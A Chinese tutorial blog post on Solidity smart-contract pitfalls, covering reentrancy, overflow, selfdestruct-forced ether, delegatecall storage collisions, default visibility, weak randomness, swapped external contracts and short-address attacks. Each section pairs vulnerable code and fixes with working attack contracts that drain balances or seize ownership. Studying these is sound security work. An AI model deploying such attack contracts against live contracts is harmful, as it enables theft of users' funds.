绕坑指南
the security of smart contract- 2
出处:https://cloud.tencent.com/developer/article/1192548
深度解析Solidity的17个坑及超详细避坑指南
难受😫
1. Re-Entrancy重新入口,可重入性
本博客the security of smart contract- 1中已经解释过原因,这里用例子说明:
pragma solidity ^0.4.23;
contract EtherStore{
uint public withdrawalLimit = 1 ether;
mapping(address => uint) public lastWithdrawTime;
mapping(address => uint) public balances;
function depositFunds() public payable{//3
balances[msg.sender] += msg.value;
}
function withdrawFunds(uint _weiToWithdraw) public {//5
require(balances[msg.sender] >= _weiToWithdraw);
require(_weiToWithdraw <= withdrawalLimit);
require(now >= lastWithdrawTime[msg.sender] + 1 weeks); //5直到这都没有问题
require(msg.sender.call.value(_weiToWithdraw)());//6 在这里就会出现问题,会调用msg.sender,即合约Attack的fallback函数
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
pragma solidity ^0.4.23; import "./EtherStore.sol"; contract Attack{ EtherStore public etherStore; constructor(address _etherStoreAddress) public { //1构建一个EtherStore合约对象,_etherStoreAddress为制定的合约地址 etherStore = EtherStore(_etherStoreAddress); } function pwnEtherStore() public payable { require(msg.value >= 1 ether); etherStore.depositFunds.value(1 ether)();//2在合约etherStore中存入1 ether,假设此时该合约中的余额总数是10 ether etherStore.withdrawFunds(1 ether); //4 从合约etherStore中取出1 ether } function collectEther() public { msg.sender.transfer(address(this).balance); } function () public payable {//7 在这里执行了攻击,withdrawFunds函数按照道理是只取出它自己存的1 ether,不能再取出更多了,但是因为balance的更改在call的后面 if(address(etherStore).balance > 1 ether){//所以只要合约中还有余额,此时还有9 ether etherStore.withdrawFunds(1 ether);//那么又会调用withdrawFunds函数,且之前的判断都成立,因为balance中的1 ether还在,这样就能够将账户中所有余额取走 } } }
第二个代码就是用于攻击的代码,合约EtherStore已经创建了,所以此时是有其的合约地址的,所以在构造函数中以合约EtherStore的合约地址作为参数来在EtherStore对象etherStore,用以调用想要攻击的合约。
避坑技巧
很多方法都可以帮助避免智能合约中潜在的重新入口漏洞。
第一种方法是,当发送以太币到外部合约时,使用内置的transfer()函数。Transfer()函数只发送2300个gas,这不足以使目的地址/合约调用另一个合约(例如,重新进入发送中的合约)。
第二个方法是,在以太币被从合约(或任何外部调用)发送出去之前,确保所有改变状态变量的逻辑发生。在上述的例子中,代码1的第18、19行应该放在第17行之前。将执行外部调用的任何代码作为本地化函数或代码执行的最后一个操作,并将执行外部调用的代码置于未知地址上。这就是所谓的「检查-效应-交互」模式。
第三个方法是,引入一个互斥系统。也就是说,添加一个状态变量,该状态变量在代码执行期间锁定合约,从而防止重新入口的调用。
pragma solidity ^0.4.23;
contract EtherStore{
bool reEntrancyMutex = false; //解决方法 3 :引入一个互斥系统
uint public withdrawalLimit = 1 ether;
mapping(address => uint) public lastWithdrawTime;
mapping(address => uint) public balances;
function depositFunds() public payable{
balances[msg.sender] += msg.value;
}
function withdrawFunds(uint _weiToWithdraw) public {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw);
require(_weiToWithdraw <= withdrawalLimit);
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw; //解决方法2 : 将所有内部实现都在外部调用中完成
lastWithdrawTime[msg.sender] = now;
reEntrancyMutex = true;
msg.sender.transfer(_weiToWithdraw);//解决方法1 : 使用transfer(只使用2300个gas)
reEntrancyMutex = false;
}
}
真实案例:The DAO
DAO的事情想必大家仍记忆犹新,DAO是以太坊早期的主要攻击目标之一。当时,这份合约的价值超过1.5亿美元。重新入口在这次攻击中扮演了重要角色,最终导致了Ethereum Classic(ETC)的硬分叉。相关分析再往上很多,大家务要重视。
2. 算法产生的溢出/下溢
以太坊虚拟机(EVM)指定整数为固定大小的数据类型。这意味着一个整数变量,只可以表示一定范围的数字。
例如,uint8只能存储的数字范围是[0,255]。试图将256存储到uint8中将导致结果为0。这很可能使Solidity中的变量被利用,如果对用户的输入不做限制,结果就会导致数字超出存储它们的数据类型范围。
坑点分析
当一个操作执行的时候,需要一个固定大小的变量来存储一个数字(或数据片段),如果该数字或数据不在变量数据类型的范围内,将会产生溢出/下溢。
例如,从 uint8中(8位的无符号整数,也就是只有正数)的变量0中减去1,就会得到255,这就是下溢。我们已经在uint8的范围内分配了一个数字,结果包含了uint8可以存储的最大数量。类似地,在 uint8中添加2 ^ 8 =256将使变量保持不变,因为我们已经囊括了整个uint8的长度(从数学上来说,这类似于在三角函数的角度上增加2π,sin (x)=sin (x + 2π))。
添加大于数据类型范围的数字被称为溢出。比如,如果在uint8中当前为零的值上加257,就会得到数字1。有时,可以把固定类型变量想成循环,我们从零开始,如果我们在最大可能存储的数字之上加上数字,就又从零开始了,反之亦然(我们从最大的数字开始倒数,从0中减去一个数会得到一个较大的值)。
这些类型的漏洞允许攻击者滥用代码并创建一些意想不到的逻辑流:
pragma solidity ^0.4.23; contract TimeLock{//用做一个保险柜,好处就是当用户被迫交出私钥,攻击者在短时间内也无法取走资金,但是这个时候攻击者可以利用溢出来得到资金 mapping(address => uint) public balances; mapping(address => uint) public lockTime; function deposit() public payable { balances[msg.sender] += msg.value; lockTime[msg.sender] = now + 1 weeks; } function increaseLockTime(uint _secondsToIncrease) public {//因为攻击者此时拥有私钥,所以它可以调用该函数 lockTime[msg.sender] += _secondsToIncrease; //将数字2 ^ 256-userLockTime作为参数传递,将导致溢出,使得lockTime[msg.sender]的值被置为0,这样攻击者就成功解锁了账户 } function withdraw() public { require(balances[msg.sender] > 0); require(now > lockTime[msg.sender]); balances[msg.sender] = 0; msg.sender.transfer(balances[msg.sender]); } }
pragma solidity ^0.4.23; contract Token {//用于转移自己的代币给另一个账户 mapping(address => uint) balances; uint public totalSupply; constructor(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0);//如果余额为0,减去任何一个正数,都将导致结果为正数,因为溢出 balances[msg.sender] -= _value;//此处也是,向下减溢出仍为正数 balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns(uint balance) { return balances[_owner]; } }
避坑技巧
防止溢出/下溢漏洞的常规方法是,使用或构建数学库来替代标准的数学运算符,包括加法、减法和乘法(没有除法,因为它不会导致溢出/下溢)。
OppenZepplin在构建和审核安全库方面做了大量的工作,以太坊社区可以充分利用这些库。为了演示在Solidity中如何使用这些库,让我们用Zepplin开源的SafeMath库来修正代码3的合约:
SafeMath.sol
pragma solidity ^0.4.11; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
改后为:
pragma solidity ^0.4.23; import '../node_modules/zeppelin-solidity/contracts/math/SafeMath.sol' contract TimeLock{ using SafeMath for uint; mapping(address => uint) public balances; mapping(address => uint) public lockTime; function deposit() public payable { balances[msg.sender] = balances[msg.sender].add(msg.value); lockTime[msg.sender] = now.add(1 weeks); } function increaseLockTime(uint _secondsToIncrease) public { lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease); } function withdraw() public { require(balances[msg.sender] > 0); require(now > lockTime[msg.sender]); balances[msg.sender] = 0; msg.sender.transfer(balances[msg.sender]); } }
3. 非预期的以太币
通常情况下,当以太币在合约中时,必须执行fallback函数,或者执行合约中定义的另一个函数。
不过这里有两个例外:
1)以太币可以在合约中存在而不执行任何代码;
2)对于依赖于代码执行的合约,每个发送到合约的以太币都可能受到攻击,因为在这种情况下,以太币是被强制送入合约的。
坑点分析
对于强制执行正确的状态转换或验证操作而言,一个常见的防御性技术是非常有用的,那就是变量检查。变量检查涉及到定义一组不变量(不应更改的标称值或参数),并且在一个(或许多)操作之后检查这些不变量是否保持不变。
不变量检查的一个例子是固定发行ERC20代币中的totalSupply。由于任何函数都不应修改这个不变量,因此可以对transfer()函数添加一个检查,以确保totalSupply保持不变,并确保该函数正常工作。
不过,有一个「不变量」对开发者来说特别有吸引力,但实际上却很容易被外部用户操纵。这就是合约中当前存储的以太币。
通常,当开发者第一次学习Solidity时,他们会有一种误解,认为合约只能通过payable函数接受或获得以太币(我真的是这样以为的)。这种误解可能导致合约对其内部的以太币余额作出错误的假设,从而导致一系列的漏洞。而这种漏洞的确凿证据就是错误地使用了this.balance。
错误的使用this.balance会导致严重的漏洞。
以太币可以通过两种方式(强制)发送到合约中,而不使用payable函数或执行合约上的任何代码。
自析构/自杀(与构造函数不同,构造函数用于初始化)
第一种方式是使用析构函数——用于销毁。任何合约都能够实现析构(地址)函数,该函数从合约地址中移除所有字节码,并将存储在那里的所有以太币发送到参数指定的地址。如果这个指定的地址也是一个合约,那么将没有函数(包括出让函数)被调用。
因此,无论合约中可能存在怎样的代码,selfdestruct()都可以用来强制将以太币送到任何合约(这些任何合约就可以被攻击)中,这也包括没有任何支付函数的合约。这样一来,任何攻击者都可以创建带有析构函数的合约,并把以太币发送到合约上,然后调用selfdestruct(target)函数,并强制以太币发送到target合约。
selfdestruct(target)函数:就是将目前的合约销毁并将该合约上的以太币发送给target地址
预先发送的以太币
第二种方法是在不使用selfdestruct()或调用任何支付函数的情况下获得以太币,说白了,就是将合约地址和以太币预加载。因为⚠️合约地址是确定的(地址是从创建合约的地址哈希和创建合约的交易nonce计算的。
例如,形如:
address = sha3(rlp.encode([account_address,transaction_nonce])) ),
这意味着,任何人都可以在创建合约之前算出地址来,从而将以太币发送到该地址。当合约产生时,就会有一个非0的以太币余额。
自析构/自杀方法举个例子:
pragma solidity ^0.4.23; contract EtherGame {//一个简单的游戏(自然会引发竞争条件),玩家将0.5 ether送入合约,希望成为最先到达三个「里程碑MileStone」之一的玩家 uint public payoutMileStone1 = 3 ether;//第一个里程碑 uint public mileStone1Reward = 2 ether; uint public payoutMileStone2 = 5 ether;//第二个里程碑 uint public mileStone2Reward = 3 ether; uint public finalMileStone = 10 ether;//第三个里程碑 uint public finalReward = 5 ether; mapping(address => uint) redeemableEther; function play() public payable { require(msg.value == 0.5 ether); uint currentBalance = address(this).balance + msg.value;//问题1 require(currentBalance <= finalMileStone); if(currentBalance == payoutMileStone1){ //加上0.5 ether后刚好到达的是那个里程碑就获得相应的奖励 redeemableEther[msg.sender] += mileStone1Reward; }else if(currentBalance == payoutMileStone2){ redeemableEther[msg.sender] += mileStone2Reward; }else if(currentBalance == finalMileStone){ redeemableEther[msg.sender] += finalReward; } } function claimReward() public { require(address(this).balance == finalMileStone);//问题2 require(redeemableEther[msg.sender] > 0); redeemableEther[msg.sender] = 0; msg.sender.transfer(redeemableEther[msg.sender]); } }
出现问题的点就在于使用的address(this.balance),一个攻击者可以强行发送少量的以太币,比如说0.1以太币,通过析构函数来阻止未来的任何玩家达到一个里程碑。
其实就是攻击函数自己创建一个合约,该合约中的余额为0.1以太币,然后调用selfdestruct(target)函数,那么就会销毁攻击者自己的这个合约,并且将合约中的0.1以太币强行发送给了target攻击目标合约,那这样,玩家没增加0.5 ether将永远都得不到整数值。
更糟糕的是,一个想要报复的攻击者可以强行发送10以太币(或相当数量的以太币,使合约的余额超过finalMileStone),这将永远锁定合约中的所有奖励,claimReward()函数将永远卡在require处。
避坑技巧
「非预期的以太币」漏洞,常来自于对this.balance的滥用。在可能的情况下,合约逻辑应避免依赖于合约余额的精确值,因为它可以被人为操纵。
如果应用逻辑基于this.balance,要确保考虑到非预期的余额。
如果需要确切知道以太币的余额,应该使用一个自定义的变量,以便在支付函数中逐步增加,并安全地跟踪存续的以太币。这个变量不会受到通过selfdestruct()强迫发送以太币的影响。
考虑到这一点,代码5 EtherGame的合约应修改为:
pragma solidity ^0.4.23; contract EtherGame { uint public payoutMileStone1 = 3 ether; uint public mileStone1Reward = 2 ether; uint public payoutMileStone2 = 5 ether; uint public mileStone2Reward = 3 ether; uint public finalMileStone = 10 ether; uint public finalReward = 5 ether; uint public depositedWei; //创建了一个新变量,depositedEther保存着已知的以太币,这就是我们执行和测试的变量,这样我们就不会再有任何关于this.balance的引用 mapping(address => uint) redeemableEther; function play() public payable { require(msg.value == 0.5 ether); uint currentBalance = depositedWei + msg.value; // require(currentBalance <= finalMileStone); if(currentBalance == payoutMileStone1){ redeemableEther[msg.sender] += mileStone1Reward; }else if(currentBalance == payoutMileStone2){ redeemableEther[msg.sender] += mileStone2Reward; }else if(currentBalance == finalMileStone){ redeemableEther[msg.sender] += finalReward; } depositedWei += msg.value; // } function claimReward() public { require(depositedWei == finalMileStone); //就是能不使用this.balance的地方就不要滥用 require(redeemableEther[msg.sender] > 0); redeemableEther[msg.sender] = 0; msg.sender.transfer(redeemableEther[msg.sender]); } }
4. Delegatecall委托调用
在允许以太坊开发者模块化他们的代码时,CALL和DELEGATECALL操作是很常见的。标准的外部消息调用由外部合约/函数中运行的CALL操作码来处理。
DELEGATECALL操作码与标准消息调用相同,调用合约中运行目标地址上的代码,不过msg.sender和msg.value保持不变。在目标地址执行的代码是在调用合约的上下文中运行的。这个特性使得开发者可以实现为未来的合约创建可复用的代码。
尽管CALL和DELEGATECALL的作为十分简单,但DELEGATECALL的使用不当,会导致非预期的代码执行。
坑点分析
DELEGATECALL的上下文保护特性(就是外部调用时环境是本身调用的合约的环境,而不是被调用的合约的环境,详情看本博客的call()、delegatecall())使得建立没有漏洞的自定义库并不像人们想象的那么容易。尽管库中的代码本身可以是安全并没有漏洞的。
但是,当它在另一个应用程序中运行时,可能会出现新的漏洞。让我们从斐波那契数列,来看一个相对复杂的例子。
假设下面的库可以生成斐波那契数列,以及类似形式的数列。
pragma solidity ^0.4.23; contract FibonacciLib { uint public start; uint public calculatedFibNumber; function setStart(uint _start) public { start = _start; } function setFibonacci(uint n) public { calculatedFibNumber = fibonacci(n); } function fibonacci(uint n) internal returns (uint) { if (n == 0) return start; else if (n == 1) return start +1; else return fibonacci(n-1) + fibonacci(n-2); } }
调用上面的库合约:
contract FibonacciBalance { address public fibonacciLibrary; uint public calculatedFibNumber; uint public start = 3; uint public withdrawalCounter; bytes4 constant fibSig = bytes4(keccak256("setFibonacci(uint)")); constructor(address _fibonacciLibrary) public { fibonacciLibrary = _fibonacciLibrary; } function withdraw() public { withdrawalCounter += 1; require(fibonacciLibrary.delegatecall(fibSig,withdrawalCounter),"something wrong"); msg.sender.transfer(calculatedFibNumber * 1 ether); } function () public { require(fibonacciLibrary.delegatecall(msg.data));//不当使用1 :这里使用了msg.data,使得恶意攻击者能够调用自己想要调用的任意函数,如setStart,而导致下面的更严重后果 } }
该合约允许参与人从合约中提取以太币,其中以太币的数量等于与参与者提取订单中相应的斐波那契数字;即第一个参与者得到1以太币,第二个参与者得到1以太币,第三个得到2,第四个得到3,第五个得到5等等,直到合余的余额少于被提取的那个斐波那契数字。
不当使用2 :位置
出现错误的原因:
状态变量start在库和主调用合约中都被使用了。在库合约中,start用于指定Fibonacci数列的起点,并设置为0,而在主调用合约FibonacciBalance中它被设置为3
主调用合约FibonacciBalance中的fallback函数允许将所有调用传递给库合约,这样就可以调用setStart函数来调用库,用以改变主调用合约FibonacciBalance中的start变量的状态,如果是这样,这将允许黑客提取更多的以太币,因为calculatedFibNumber取决于start变量。
但是实际上,setStart ()函数不会(也不能)修改代码7合约中的start变量。这个合约中潜在的漏洞比仅仅修改start变量要糟糕得多。
举个例子,在库合约FibonacciLib中,存在两个状态变量:start和calculatedFibNumber。第一个变量是start,因此它存储在合约的slot[0]中。第二个变量calculatedFibNumber,被放置在下一个可用的存储——slot[1]中。
如果我们查看函数setStart(),它需要一个输入并设置start(不论输入是什么)。因此,这个函数为setStart ()函数中提供的任何输入都设置为slot[0]。类似地,setFibonacci()函数也将 calculatedFibNumber设置为fibonacci (n)的结果。同样,这只是将存储slot[1]设置为fibonacci (n)的值。
现在再来看看主调用合约FibonacciBalance的合约。slot[0]现在对应于fibonacciLibrary地址且slot[1]对应于calculatedFibNumber。这就是漏洞出现的地方。
delegatecall保留了合约的上下文,运行环境其实为本合约。这意味着通过delegatecall的代码将对主调用合约的状态(如存储)产生作用,即在库合约中如果更改了start的值,那么其实是更改了主调用合约FibonacciBalance环境中的start的值,但是现在这里有个问题:
现在请注意,当我们执行了fibonacciLibrary.delegatecall。这里调用了setFibonacci()函数,它对slot[1]进行了修改(也就是calculatedFibNumber)。这和预期的一样(即在执行之后,calculatedFibNumber得到调整)。
然而,请记住,FibonacciLib合约中的start变量位于slot[0],这是当前合约中的fibonacciLibrary地址。这意味着函数fibonacci ()将给出一个意想不到的结果。
因为在当前的调用的上下文中,它引用了start状态变量 (引用状态变量并不是根据名字去找,而是根据状态变量存储的位置,即库合约中的start的存储位置为slot[0],那么当使用delegatecall时,就是在主调用合约的slot[0]位置去找,但是在主调用合约中slot[0]位置的值为fibonacciLibrary),这是fibonacciLibrary地址(那么这里fibonacciLibrary地址的值就会被转为uint,当被解释为一个uint时,这个地址通常是相当大的)。
因此,withdraw()函数很可能会恢复原样,即revert,如下图所示,该函数调用会出现错误。因为它不会包含uint(fibonacciLibrary)的以太币数量,而这就是calculatedFibNumber将会返回的值。
然后调用FibonacciBalance合约的withdraw函数时,出现了错误
更糟糕的是,主调用合约FibonacciBalance的合约允许用户通过fallback函数调用所有库合约fibonacciLibrary的函数。正如我们之前讨论过的,这就包括了setStart ()函数。在这种情况下,主调用合约FibonacciBalance的slot[0]就是fibonacciLibrary地址。 因此,攻击者可以创建一个恶意合约,调用setStart,将地址转换为uint作为参数传给setStart函数,即调用
setStart(<attack_contract_address_as_uint>)。
这将会把传入的值放入主调用合约FibonacciBalance的slot[0]位置,即改变fibonacciLibrary状态变量,使其成为攻击者合约的地址。然后,当用户调用withdraw()或fallback函数时,恶意合约就会运行,并盗取合约中的全部余额。就如下面例子所示:
pragma solidity ^0.4.23; contract FibonacciLib { uint public start; uint public calculatedFibNumber; function setStart(uint _start) public { start = _start; } function setFibonacci(uint n) public { calculatedFibNumber = fibonacci(n); } function fibonacci(uint n) internal returns (uint) { if (n == 0) return start; else if (n == 1) return start +1; else return fibonacci(n-1) + fibonacci(n-2); } } contract FibonacciBalance { address public fibonacciLibrary; uint public calculatedFibNumber; uint public start = 3; uint public withdrawalCounter; bytes4 constant fibSig = bytes4(keccak256("setFibonacci(uint256)")); bytes4 constant fibSig1 = bytes4(keccak256("setStart(uint256)")); constructor(address _fibonacciLibrary) public { fibonacciLibrary = _fibonacciLibrary; } function withdraw() public { withdrawalCounter += 1; require(fibonacciLibrary.delegatecall(fibSig,withdrawalCounter),"something wrong"); } function testAttack(address _attackAddr) public { require(fibonacciLibrary.delegatecall(fibSig1,_attackAddr),"attack wrong"); } function deposit() public payable { } function getBalance() public view returns (uint){ return address(this).balance; } } contract Attack { uint public storageSlot0;// uint public storageSlot1;//这两个知识用来占位,没实际意义 address public attackAddress; constructor() public { attackAddress = address(this); } function() public { storageSlot1 = 3; attackAddress.transfer(address(this).balance); } function getBalance() public view returns (uint){ return address(this).balance; } }
开始时的状态如下图所示:
然后再主调用合约中存入525 wei:
部署Attack合约:
然后调用testAttack,将攻击合约的地址作为参数传入,用于将fibonacciLibrary改为攻击合约地址:
这时候再去调用withdraw()函数,因为Attack合约中没有setFibonacci()函数,所以会调用它的fallback函数,则主调用合约中的525wei就会被转到恶意合约中,然后我们也可以看见,当攻击合约fallback函数中将storageSlot1改为3时,真正变化的值是calculatedFibNumber,主调用函数中的525wei也没了:
注意:演示中的一个核心要点是,编译后,我们能得到当前合约的地址,并将该地址复制到输入框中,记得录入地址项时要加英文的双引号,否则会报Error encoding arguments: SyntaxError: JSON Parse error: Expected ']'
。
另一个例子:
pragma solidity ^0.4.23; // Simple library contract to set the time contract LibraryContract { // stores a timestamp uint public storedTime; function setTime(uint _time) public { storedTime = _time; } } contract Attack { uint padding1; uint padding2; address public owner; function setTime (uint _time) public { owner = tx.origin; } } contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint public storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1Library,address _timeZone2Library) public { timeZone1Library = _timeZone1Library; timeZone2Library = _timeZone2Library; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint _timeStamp) public { require(timeZone1Library.delegatecall(setTimeSignature, _timeStamp,"first error")); } // set the time for timezone 2 function setSecondTime(uint _timeStamp) public { require(timeZone2Library.delegatecall(setTimeSignature, _timeStamp),"second error"); } }
为什么要在Attack合约中声明padding1、padding2两个状态变量:
因为我们最终要控制的目标即主合约的owner对应的存储位为slot[3],所以我们要在前面放两个用于占位的变量
一开始我们部署了两个库合约,并且将它们的合约地址传入主调用函数Preservation中,如上图的timeZone1Library、timeZone2Library所示,然后接下来调用setSecondTime,将攻击合约的地址作为参数_timeStamp传入,结果将会将timeZone1Library的值改为攻击合约的地址,如下图:
此时再运行setFirstTime,那么调用的就是攻击合约的setTime函数,因为storedTime的值没有变,而owner将会被更改成生成Attack合约的恶意攻击者,如下图所示:
避坑技巧
Solidity为实现库合约提供了library关键字。这确保了库合约是无状态的和非析构的。确保库的无状态可以减少存储上下文的复杂性。无状态库还可以防止攻击者直接修改库的状态,以实现依赖于库代码的合约。一般来说,当使用DELEGATECALL时,要注意库合约和调用合约中可能调用的上下文,并在可能的情况下建立无状态库。
对于这种漏洞还是需要开发人员按照安全的编写方法正确实现delegatecall的使用,避免遭到恶意的利用,而另一方面就是在这种较复杂的上下文环境下涉及到storage变量时可能造成的变量覆盖,对于这种漏洞感觉如有需要还是避免直接使用delegatecall来进行调用,应该使用library来实现代码的复用,这也是目前在solidity里比较安全的代码复用的方式
其实library使用的基础也是delegatecall,不过它是一种较特别的合约,相比普通合约有几个特别的点,包括没有storage变量,无法继承或被继承,不能接收ether,要使用它来访问storage变量就得靠引用类型的传递了。delegatecall的漏洞可能也就是library没有storage变量等的原因。
真实案例:Parity Multisig Wallet的第二次入侵
如果在非预期的上下文中运行,Parity Multisig钱包的第二次攻击就是一个典型的例子
5. 默认的可见性
Solidity中的函数具有可见性的特性,它们指明了如何调用函数。可见性决定了一个函数是否可以由用户从外部调用(public)(或由其他派生的合约调用),还是只能在内部(internal)或只能在外部调用(external)。
在Solidity文档中提到四个可见性特性,默认函数是Public。不正确地使用这一函数,可能导致在智能合约中产生一些破坏性的漏洞。
坑点分析
函数的默认可见性是public。因此,不指定任何可见性的函数都可以被外部用户调用。如果开发者忽略了这一特性,本来的私有函数(或者只能在合约自身中调用)就会变成公有函数,问题也会随之而来,比如:
pragma solidity ^0.4.23;
contract HashForEther{
function withdrawWinnings() public{
require(uint32(msg.sender) == 0);
_sendWinnings();//应该为一个内部调用函数,但是这里忘记将其标记为internal,导致所有人都可以取出这个合约中的资金
}
function _sendWinnings() {
msg.sender.transfer(address(this).balance);
}
}
这个合约中,实现的是一个地址猜赏游戏。为了赢得合约的余额,用户必须生成一个以太坊地址,它最后的8个十六进制字符是0。一旦获得,他们可以调用withdrawWinnings函数来获得他们的赏金。
不幸的是,函数的可见性还没有被指定。另外,_sendWinnings ()函数是public,因此任何地址都可以调用此函数来窃取赏金。
避坑技巧
一种最好的做法是,即使合约中的所有函数都是有意公开的,也必须明确说明合约中所有函数的可见性。最近版本的Solidity将会在编译的函数没有明确的可见性设置时显示警告,以鼓励这种做法。
就是所有函数都要显示表明其的可见性,即使是public也是这样
真实案例:Parity MultiSig Wallet的第一次黑客攻击
6. 熵的错觉
在以太坊区块链上的所有交易都是确定性状态的转换操作。这意味着每一笔交易都改变了全球的以太坊生态系统状态,并且是以一种可计算的方式进行,没有任何的不确定性。
这意味着,在区块链生态系统内部没有熵或随机性的来源,在Solidity中也没有rand()函数。实现去中心化熵(随机性)是一个已经确立的问题,并且已经提出了许多解决这个问题的想法(例如,RandDAO,或者使用Vitalik在自己的博文中所描述的一系列哈希)去看看?????。
坑点分析
在以太坊平台上建立的第一批合约中,有一些是关于赌博的。从根本上讲,赌博的根本在于不确定性,这使得在区块链(确定性模型)上建立一个赌博系统相当困难。很明显,不确定性必须来自区块链外部的一个源。
这对于同行之间的赌注是可能的,但是,如果你想要执行一个合约来充当一个赌桌(就像在我们的赌场里玩21点一样),显然是十分困难的。一个常见的陷阱是使用未来的区块变量,例如hash、timestamps、blocknumber 或 gas limit。
问题在于,这些变量是由矿工控制的,他们在区块上挖矿,因此并不是真正随机的。例如,考虑一个具有逻辑的轮盘赌智能合约,如果下一个区块哈希以偶数结尾,则返回一个黑数。
一个矿工(或矿工池)可以押注100万美元买黑数。如果他们解决了下一个区块,发现哈希末尾是一个奇数,他们会很乐意不发布这一区块并挖掘下一个块,直到他们找到一个解决方案发现区块哈希尾数是偶数(假设悬赏和费用低于100万美元)为止。
使用过去或现在的变量可能会更具破坏性,此外,使用单个区块变量意味着在一个区块中所有交易的伪随机数都是相同的,因此攻击者可以在一个区块内进行许多交易。
避坑技巧
熵的来源必须是区块链的外部。这可以在具有诸如commit-reveal之类系统的对等体之间完成,或者通过将信任模型改变为一组参与者(例如在RandDAO中)来完成。不过区块变量不应该用做源熵,因为它们可以被矿工操纵。
7. 外部合约的引用
以太坊作为「全球计算机」的好处之一是能够复用代码,并与已经部署在网络上的合约进行交互。因此,大量合约都引用外部合约,在一般操作中使用外部调用与这些合约进行互动。这些外部消息调用可以用某种不明显的方式掩盖黑客的意图。
坑点分析
在Solidity中,任何地址都可以作为一个合约,尤其是当合约的作者试图隐藏恶意代码时。 让我们举一个例子来说明这一点,请看下面这段基本实现了Rot13密码的代码:
pragma solidity ^0.4.23; contract Rot13Encryption { event Result(string convertedString); //rot13 encrypt a string,其实就是如何加密的过程 function rot13Encrypt (string text) public { uint256 length = bytes(text).length; for (uint i = 0; i < length; i++) { byte char = bytes(text)[i]; //inline assembly to modify the string assembly { char := byte(0,char) // get the first byte if and(gt(char,0x6D), lt(char,0x7B)) //0x6D为m,0x7B为{,根据ascii码对照表查看,可知其是判断取出来的字符是否在字符n到z中 { char:= sub(0x60, sub(0x7A,char)) } //0x7A为z,0x60为a之前的一个字符,就是将char从离字母表z多远,到变为相应地里字符0x60多远的字符 if iszero(eq(char, 0x20)) //如果是空字符则不管 {mstore8(add(add(text,0x20), mul(i,1)), add(char,13))} // 然后将变换后的字符再加上13,然后存储在位置mem[text+32+i-1,text+32+i-1+7]d的位置 } } emit Result(text); } // 这个就是相应地如何解密 function rot13Decrypt (string text) public { uint256 length = bytes(text).length; for (uint i = 0; i < length; i++) { byte char = bytes(text)[i]; assembly { char := byte(0,char) if and(gt(char,0x60), lt(char,0x6E)) { char:= add(0x7B, sub(char,0x61)) } if iszero(eq(char, 0x20)) {mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))} } } emit Result(text); } }
这个代码只需要一个字符串,并通过将每个字符转移到右边的第13个位置(包括z),如「a」转换为「n」和「x」转换为「k」
考虑以下使用此代码进行加密的合约:
contract EncryptionContract { // library for encryption Rot13Encryption encryptionLibrary; // constructor - initialise the library constructor(Rot13Encryption _encryptionLibrary) public { encryptionLibrary = _encryptionLibrary; } function encryptPrivateData(string privateInfo) public { // potentially do some operations here encryptionLibrary.rot13Encrypt(privateInfo); } }
这个合约的问题是, encryptionLibrary
地址并不是公开的或保证不变的。因此,合约的配置人员可以在指向该合约的构造函数中给出一个地址,如果这个时候这个地址并不是encryptionLibrary
的地址,而是
其他合约的地址,并且这个合约中有相同的函数,或者是fallback函数,那么调用encryptPrivateData()是得不到想要的结果的,如下面的合约,如果_
encryptionLibrary传入的是合约Blank的地址,那么它调用encryptPrivateData()时只是记录了事件Print("Here")
contract Blank { event Print(string text); function () { emit Print("Here"); //put malicious code here and it will run } }
因此,如果用户可以更改库合约地址encryptionLibrary
,那么,他们原则上可以让用户在不知情的情况下运行任意的代码。
因此,开发者要杜绝使用这样的加密合约,因为在区块链上可以看到智能合约的输入参数。 此外,Rot密码也并不是一个理想的加密技术。
避坑技巧
如上所述,无漏洞合约可以在某些情况下以恶意行为的方式部署。审核员可以公开地核实合约,并使其所有者以恶意方式部署合约,从而导致公开审计的合约具有漏洞或恶意属性。
有许多方法可以防止这些情况发生。
1)一种方法是,使用new关键字来创建合约。在上面的例子中,构造函数可以改成:
constructor() public { encryptionLibrary = new Rot13Encryption(); }
这样Rot13Encryption合约地址就无法被换成其他合约地址
2)对已知的外部合约地址,进行硬编码(怎么做?????)
一般来说,开发者应该仔细地检查调用外部合约的代码。作为一个开发者,在定义外部合约时,最好是让合约公开(除了在honey pot的情况下),以便使用户能够很容易地检查合约中引用的那些代码。
相反,如果一个合约有一个私有的可变合约地址,那么这可能就是合约被恶意攻击的标志。 如果一个用户能够更改用于调用外部函数的合约地址,那么通过实现一个时间锁或投票机制,使用户能够看到哪些代码正在被更改,或者给参与者一个选择新合约地址的机会。
真实案例:重新入口的蜜罐攻击
最近,一些honey pot(蜜罐攻击)已经被放到了主网上。这些合约试图智取那些试图利用这些合约的以太坊黑客,但他们反过来又让以太币失去了它们期望利用的合约。方法就是其中用构造函数中的恶意合约替换了预期的合约。
8. 短地址/参数攻击
这种攻击不是专门针对Solidity合约的,而是针对所有可能与合约互动的第三方DApp。
坑点分析
在参数传递给智能合约时,参数将根据ABI规范进行编码。发送短于预期参数长度的编码参数是可能的。
例如,发送一个只有19字节的地址,而不是标准的40个十六进制数20字节。在这种情况下,EVM会把0填充在编码参数的末尾,以补全预期的长度。
当第三方应用程序不验证输入时,这就成为一个问题。
